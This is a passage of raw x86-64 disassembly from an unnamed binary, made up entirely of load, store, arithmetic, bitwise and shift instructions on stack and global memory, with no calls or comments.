mov rcx, qword [rsp + 0x6a70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ca0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ad0]
mov ecx, dword [rsp + 0x3af0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c08], eax
mov eax, dword [rsp + 0x3be4]
mov dword [rsp + 0x3c1c], eax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6d28]
movzx eax, word [rax]
mov word [0x14017a558], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x6f20], rax
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x6f28], rax
mov rax, qword [rsp + 0x6e98]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c58]
mov dword [rcx], eax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x6f30], rax
mov rax, qword [rsp + 0x6dc0]
mov rcx, qword [rsp + 0x6da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c0c], eax
mov rax, qword [rsp + 0x6e28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49]
sub eax, ecx
mov byte [0x14017a4d7], al
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x6f38], rax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
mov rax, qword [0x14017a538]
movzx eax, byte [rax]
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
and eax, ecx
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x69b0]
mov qword [rsp + 0x6f40], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6c20]
mov qword [rsp + 0x6f48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6f48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b14]
shr eax, cl
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
lea rax, [rsp + 0x6ee0]
mov qword [rsp + 0x6f50], rax
mov rax, qword [0x14017a550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017901a], al
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [rsp + 0xc74]
or eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov word [rcx], ax
lea rax, [rsp + 0x55]
mov qword [rsp + 0x6f58], rax
mov rax, qword [0x14017a520]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc54]
add eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
lea rax, [rsp + 0x3bb4]
mov qword [rsp + 0x6f60], rax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x6df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x6c88]
mov qword [rsp + 0x6f68], rax
mov eax, dword [rsp + 0x3bfc]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b34], eax
lea rax, [rsp + 0xc48]
mov qword [0x14017a560], rax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x6f70], rax
movzx eax, byte [0x14017900b]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ce0]
movzx eax, word [rax]
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ef0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ea0]
mov qword [rcx], rax
lea rax, [rsp + 0x3c0c]
mov qword [rsp + 0x6f78], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017900f], al
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x6f80], rax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
lea rax, [0x140179009]
mov qword [rsp + 0x6f88], rax
movsx eax, word [rsp + 0xc54]
movsx ecx, word [rsp + 0xc64]
sar eax, cl
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e28]
mov rax, qword [rax]
mov qword [rsp + 0x6f90], rax
mov eax, dword [rsp + 0x3bf4]
mov ecx, dword [rsp + 0x3bf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c1c], eax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x6f98], rax
mov rax, qword [0x14017a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
shl eax, cl
mov rcx, qword [0x14017a528]
mov word [rcx], ax
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
sub eax, ecx
mov rcx, qword [rsp + 0x6df8]
mov byte [rcx], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x6fa0], rax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x49]
add eax, ecx
mov rcx, qword [rsp + 0x6d30]
mov byte [rcx], al
mov eax, dword [rsp + 0x3be4]
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x6ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d08], rax
mov eax, dword [rsp + 0x3abc]
mov dword [rsp + 0x3c24], eax
lea rax, [rsp + 0x4f]
mov qword [0x14017a568], rax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x6fa8], rax
movzx eax, word [0x14017902c]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc1c]
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x6c20]
mov ecx, dword [rsp + 0x3c10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be0], eax
mov rax, qword [rsp + 0x6c58]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x6fb0], rax
mov rax, qword [rsp + 0x6c50]
mov rcx, qword [rsp + 0x6f98]
mov qword [rsp + 0x6fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fb8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
mov byte [rsp + 0x58], al
lea rax, [rsp + 0xc3c]
mov qword [0x14017a570], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x48], al
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc3c]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d98]
sar rax, cl
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
lea rax, [0x140179004]
mov qword [rsp + 0x6fc0], rax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c14]
mov ecx, dword [rsp + 0x3c04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d]
add eax, ecx
mov byte [0x14017900a], al
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc4c]
add eax, ecx
mov word [rsp + 0xc30], ax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x6c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x6c80]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d98]
mov rcx, qword [rsp + 0x6e38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e48], rax
lea rax, [rsp + 0x6ef0]
mov qword [rsp + 0x6fc8], rax
movsx eax, word [rsp + 0xc28]
movsx ecx, word [rsp + 0xc20]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017901b], al
lea rax, [rsp + 0x45]
mov qword [rsp + 0x6fd0], rax
mov rax, qword [0x14017a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc38], ax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x6fd8], rax
mov rax, qword [rsp + 0x6e68]
mov rcx, qword [rsp + 0x6da8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6c50], rax
mov eax, dword [rsp + 0x3c0c]
mov dword [rsp + 0x3c2c], eax
mov eax, dword [rsp + 0x3c1c]
mov rcx, qword [rsp + 0x6c68]
mov qword [rsp + 0x6fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fe0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
cdq
idiv ecx
mov word [rsp + 0xc4c], ax
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179034], ax
lea rax, [0x14017a4d6]
mov qword [rsp + 0x6fe8], rax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0xc50]
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ad0]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c88]
mov qword [rsp + 0x6ff0], rax
mov rax, qword [rsp + 0x6eb0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0x6ff8], rax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a550]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
movzx ecx, byte [0x140179009]
sub eax, ecx
mov byte [rsp + 0x4f], al
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0x7000], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x45]
and eax, ecx
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x3c14]
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x6d08]
mov rcx, qword [rsp + 0x6a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [rsp + 0x6ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x48]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [0x14017a538]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x4b]
mov qword [rsp + 0x7010], rax
movsx eax, word [rsp + 0xc70]
movsx ecx, word [rsp + 0xc5c]
xor eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x7018], rax
mov eax, dword [rsp + 0x3c30]
movzx ecx, al
mov eax, dword [rsp + 0x3c20]
shl eax, cl
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c10]
sar eax, cl
mov rcx, qword [rsp + 0x6c20]
mov dword [rcx], eax
lea rax, [rsp + 0x6ff0]
mov qword [rsp + 0x7020], rax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x6ef0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fc8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x57]
mov byte [0x14017a4e2], al
lea rax, [0x14017900b]
mov qword [rsp + 0x7028], rax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [rsp + 0xc3c]
add eax, ecx
mov word [rsp + 0xc54], ax
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc68]
sub eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
lea rax, [0x140179028]
mov qword [rsp + 0x7030], rax
mov rax, qword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x6d98]
mov qword [rsp + 0x7038], rax
mov rax, qword [rsp + 0x6cc8]
mov rcx, qword [rsp + 0x6db8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d08], rax
lea rax, [rsp + 0x3c08]
mov qword [rsp + 0x7040], rax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a538]
mov byte [rcx], al
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [0x14017900a]
add eax, ecx
mov byte [rsp + 0x47], al
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xc3c]
and eax, ecx
mov rcx, qword [rsp + 0x6c60]
mov word [rcx], ax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x7048], rax
mov rax, qword [0x14017a530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x7038]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d70], rax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7040]
mov qword [rsp + 0x7058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7058]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6fc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3bf0]
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6de0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017901e], al
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
sar eax, cl
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0x7060], rax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x6ec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
imul eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x69b0]
mov qword [rsp + 0x7068], rax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c30], eax
mov eax, dword [rsp + 0x3c10]
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x6e20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6bf8], rax
lea rax, [rsp + 0xc08]
mov qword [0x14017a578], rax
lea rax, [0x14017a4e0]
mov qword [rsp + 0x7070], rax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xc80]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ba8]
movzx eax, byte [rax]
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x7050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x6da8]
mov qword [rsp + 0x7078], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e80]
mov rcx, qword [rsp + 0x6d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov rcx, qword [0x14017a518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179009], al
mov rax, qword [rsp + 0x7018]
movzx eax, byte [rax]
mov byte [rsp + 0x5c], al
movsx eax, word [rsp + 0xc84]
movsx ecx, word [rsp + 0xc78]
and eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
lea rax, [rsp + 0x55]
mov qword [rsp + 0x7080], rax
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0xc40]
cdq
idiv ecx
mov word [rsp + 0xc30], ax
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6af8]
mov qword [rsp + 0x7088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7088]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov qword [rsp + 0x7090], rax
mov rax, qword [rsp + 0x6ca0]
mov rcx, qword [rsp + 0x7020]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
lea rax, [rsp + 0x3bb4]
mov qword [rsp + 0x7098], rax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
xor eax, ecx
mov byte [rsp + 0x4d], al
movsx eax, word [0x140179028]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017a520]
mov word [rcx], ax
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [rsp + 0xc38]
sub eax, ecx
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6a58]
movzx eax, byte [rax]
mov byte [rsp + 0x5d], al
movzx eax, word [0x140179030]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x6c70]
mov qword [rsp + 0x70a0], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7068]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
lea rax, [rsp + 0x3c20]
mov qword [rsp + 0x70a8], rax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [0x140179038], ax
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a508]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x7060]
movzx eax, byte [rax]
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf4], eax
mov eax, dword [rsp + 0x3bfc]
mov ecx, dword [rsp + 0x3abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b58], eax
lea rax, [rsp + 0x6a68]
mov qword [rsp + 0x70b0], rax
mov rax, qword [rsp + 0x7008]
mov rcx, qword [rsp + 0x6bb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
lea rax, [0x140179030]
mov qword [rsp + 0x70b8], rax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [0x14017a4d6], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
shl eax, cl
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x70c0], rax
mov rax, qword [rsp + 0x6a48]
movzx ecx, al
mov rax, qword [rsp + 0x6ed0]
shr rax, cl
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x70c8], rax
mov eax, dword [rsp + 0x3c10]
mov ecx, dword [rsp + 0x3c28]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov dword [rsp + 0x3c3c], eax
movzx eax, word [rsp + 0xc68]
mov rcx, qword [0x14017a528]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
movzx eax, word [rsp + 0xc80]
mov word [0x14017a580], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x48]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [0x14017a4f0]
movzx eax, byte [rax]
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ee8]
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6fc0]
mov ecx, dword [rsp + 0x3c18]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [rsp + 0x6ef0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x69b0], rax
lea rax, [rsp + 0x6f68]
mov qword [rsp + 0x70d0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6db0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov byte [0x14017901f], al
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x70d8], rax
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [0x14017902c]
sub eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movzx eax, word [rsp + 0xc40]
mov word [rsp + 0xc8c], ax
mov eax, dword [rsp + 0x3b34]
mov ecx, dword [0x140179004]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
lea rax, [rsp + 0x3bec]
mov qword [rsp + 0x70e0], rax
mov rax, qword [rsp + 0x6a70]
movzx ecx, al
mov rax, qword [rsp + 0x6be8]
shl rax, cl
mov qword [rsp + 0x6bb0], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x7050]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d58], rax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [0x14017900c], al
lea rax, [rsp + 0xc24]
mov qword [rsp + 0x70e8], rax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x70f0], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
